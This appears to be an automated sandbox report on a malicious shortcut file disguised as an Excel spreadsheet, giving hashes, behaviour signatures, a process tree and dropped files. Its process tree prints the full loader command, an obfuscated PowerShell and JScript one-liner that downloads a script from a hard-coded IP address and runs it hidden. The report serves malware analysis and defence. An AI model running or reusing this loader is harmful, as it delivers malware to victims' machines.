Overview

overview

8

Static

static

1

SpisokZatr...sx.lnk

windows10-ltsc_2021-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    30s
  • max time network
    27s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-uk
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-uklocale:uk-uaos:windows10-ltsc_2021-x64systemwindows
  • submitted
    08/08/2026, 04:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SpisokZatrimanih.xlsx.lnk
  • Size 19KB
  • Sample260808-esttvszfjd
  • SHA256 44583518937ea01f00ee8023a7e8a9daf68e84acf9a001d376abcd286114ee97
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\SpisokZatrimanih.xlsx.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3464
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzIwNy44OS4xOC42OC9obXN6Y2gwOC9tb3RvcmJvYXRl';$b='ZmZlY3RpdmVuZXNzLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmpl';$c='Y3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('Zy8bJs.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b Zy8bJs.js && del Zy8bJs.js"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzIwNy44OS4xOC42OC9obXN6Y2gwOC9tb3RvcmJvYXRl';$b='ZmZlY3RpdmVuZXNzLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmpl';$c='Y3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('Zy8bJs.js',[Convert]::FromBase64String($a+$b+$c))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2808
      • C:\Windows\system32\cscript.exe
        cscript //nologo //b Zy8bJs.js
        3⤵
        • Badlisted process makes network request
        PID:2880

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Zy8bJs.js
        • Path C:\Users\Admin\AppData\Local\Temp\Zy8bJs.js
        • Size 313B
        • SHA256 c71825243c341db49f64a94e4a5172648ccb73cd1bcde5afb4077572ce38c035
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_eouhiyge.1mz.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eouhiyge.1mz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2808-1-0x00000227FB2C0000-0x00000227FB2D0000-memory.dmp
        Download

        memory/2808-0-0x00000227FB2C0000-0x00000227FB2D0000-memory.dmp
        Download

        memory/2808-9-0x00000227FD670000-0x00000227FD692000-memory.dmp
        Download

        memory/2808-10-0x00000227FB2C0000-0x00000227FB2D0000-memory.dmp
        Download